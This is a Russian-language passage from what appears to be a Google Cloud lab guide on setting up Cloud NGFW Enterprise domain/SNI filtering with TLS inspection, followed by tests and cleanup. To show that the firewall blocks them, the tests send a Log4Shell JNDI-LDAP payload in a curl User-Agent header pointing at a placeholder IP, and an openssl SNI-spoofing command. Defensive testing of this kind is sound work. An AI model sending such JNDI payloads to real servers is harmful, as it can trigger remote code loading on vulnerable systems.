gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
Создайте YAML-файл с политикой TLS. Этот файл будет содержать информацию о конкретных ресурсах:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
Импортируйте политику проверки TLS:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
Обновите связь с конечной точкой, чтобы включить TLS:
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
Получите сертификат центра сертификации (ЦС) и добавьте его в хранилище ЦС клиента. Это необходимо для обеспечения доверия, поскольку NGFW Enterprise установит TLS-соединение и предоставит подписанный сертификат из пула ЦС:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
Передайте сертификат центра сертификации клиенту:
gcloud compute scp --tunnel-through-iap $prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
Подключитесь к виртуальной машине по SSH, переместите сертификат центра сертификации в /usr/local/share/ca-certificates и обновите хранилище сертификатов центра сертификации:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
Выйдите из виртуальной машины и продолжите работу в Cloudshell.
Обновите правило брандмауэра для проверки TLS.
gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect
Проверка правил с помощью проверки TLS
Установите SSH-соединение с виртуальной машиной через IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Отправляйте тестовые запросы в указанные пункты назначения:
curl https://wikipedia.org --max-time 2 curl https://ifconfig.me --max-time 2
Эти проверки должны пройти без проблем. Если мы хотим проверить сертификат и подтвердить, подписан ли он межсетевым экраном нового поколения (NGFW), мы можем выполнить следующую команду:
curl https://ifconfig.me --max-time 2 -vv
Ожидаемый результат:
admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv * Trying 34.160.111.145:443... * Connected to ifconfig.me (34.160.111.145) port 443 (#0) * ALPN: offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * CAfile: /etc/ssl/certs/ca-certificates.crt * CApath: /etc/ssl/certs * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: CN=ifconfig.me * start date: Sep 20 07:05:42 2025 GMT * expire date: Sep 21 06:58:10 2025 GMT * subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me" * issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691 * SSL certificate verify ok. * using HTTP/1.x > GET / HTTP/1.1 > Host: ifconfig.me > User-Agent: curl/7.88.1 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Length: 10 < access-control-allow-origin: * < content-type: text/plain < date: Sat, 20 Sep 2025 07:05:43 GMT < via: 1.1 google < Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 < * Connection #0 to host ifconfig.me left intact x.x.x.x
В приведенном выше выводе видно, что запрос проверяется с помощью TLS-протокола NGFW Enterprise, поскольку полученный сертификат подписан корневым центром сертификации, созданным нами ранее (поле издателя).
Проверка правил, пытающихся подменить SNI с помощью проверки TLS.
Давайте проверим поведение теперь, когда включена проверка TLS.
Выполните следующую команду openssl, чтобы подменить SNI:
openssl s_client -connect www.google.com:443 -servername ifconfig.me
Ожидаемый результат:
CONNECTED(00000003) write:errno=104 --- no peer certificate available --- No client certificate CA names sent --- SSL handshake has read 0 bytes and written 317 bytes Verification: OK --- New, (NONE), Cipher is (NONE) Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE No ALPN negotiated Early data was not sent Verify return code: 0 (ok) ---
В приведенном выше выводе мы видим, что ранее работавший запрос на подмену SNI теперь завершается с ошибкой при включенной проверке TLS. Это происходит потому, что при включенной проверке TLS межсетевой экран нового поколения (NGFW) проверяет SNI на соответствие альтернативному имени субъекта (SAN) сертификата сервера. Если оно не совпадает, рукопожатие TLS завершится неудачей.
Проверка домена/SNI и защита от угроз с помощью проверки TLS.
Теперь мы повторно запустим ранее проведенный тест для вредоносного (log4j) запроса к разрешенному домену.
Отправьте вредоносный образец (log4j) в разрешенный домен/место назначения SNI:
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
Ожидаемый результат:
000
Код ответа 000 означает, что соединение было разорвано межсетевым экраном нового поколения (NGFW) в связи с обнаружением угрозы. Для подтверждения можно собрать более подробную информацию.
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv
Ожидаемый результат:
* Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
* CAfile: /etc/ssl/certs/ca-certificates.crt
* CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
* subject: CN=www.eicar.org
* start date: Sep 20 07:50:20 2025 GMT
* expire date: Sep 21 10:41:22 2025 GMT
* subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
* issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
* SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
>
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000
Как видно из приведенного выше примера, межсетевой экран нового поколения (NGFW) выполнил проверку TLS и заблокировал вредоносный запрос.
Выйти из виртуальной машины:
exit
Перейдите к следующему разделу, где описаны этапы уборки.
19. Этапы уборки
Завершение настройки базы
Удалите экземпляры:
gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Удалите сетевую политику и привязку облачного брандмауэра:
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Удалите Cloud Router и Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Удалите зарезервированные IP-адреса:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Очистка SPG и ассоциаций облачного межсетевого экрана
Удалите группу профилей безопасности и профиль фильтрации угроз и URL-адресов в следующем порядке:
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global gcloud -q network-security security-profiles url-filtering \ delete $prefix-sp \ --organization $org_id \ --location=global
Удалите привязку конечной точки Cloud Firewall:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Удалите конечную точку облачного брандмауэра, что может занять около 20 минут :
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
При желании подтвердите удаление конечной точки Cloud NGFW, выполнив следующую команду:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Состояние конечной точки должно отображать:
STATE: DELETING
После завершения процесса конечная точка больше не будет отображаться в списке.
[Необязательно] Очистка TLS
Если вы продолжили настройку дополнительных параметров проверки TLS, выполните приведенные ниже команды для очистки ресурсов TLS.
Удалите политику TLS:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region
Отключите и удалите корневой центр сертификации и пул центров сертификации:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
Очистка подсетей и VPC
Наконец, удалите подсеть и сеть VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
20. Заключение и соображения
Эта лабораторная работа очень проста и проверяет только одну виртуальную машину, подключенную к интернету. В реальных условиях VPC может содержать несколько ресурсов, трафик которых передается во всех направлениях (север/юг и восток/запад). Поскольку правило брандмауэра для фильтрации доменов/SNI имеет тип EGRESS 0.0.0.0/0, оно является «полным» и ДОЛЖНО быть настроено как правило с самым низким приоритетом в сетевой политике — в противном случае трафик неожиданно будет соответствовать и разрешаться/запрещаться на основе правила urlFiltering по умолчанию.
Кроме того, рассмотрите возможность использования типов сети для ограничения области действия. Это позволит предотвратить попадание трафика с востока на запад под действие правила. В качестве альтернативы можно создать правило с более высоким приоритетом для разрешения трафика с востока на запад.
Пожалуйста, ознакомьтесь с документом о передовых методах, в котором более подробно описана фильтрация по доменам/SNI.
21. Поздравляем!
Поздравляем, вы успешно завершили настройку Cloud NGFW Enterprise для фильтрации доменных имен и SNI с возможностью проверки TLS!